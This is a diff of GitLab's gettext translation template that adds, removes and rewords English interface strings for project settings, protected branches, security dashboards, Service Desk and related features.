+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
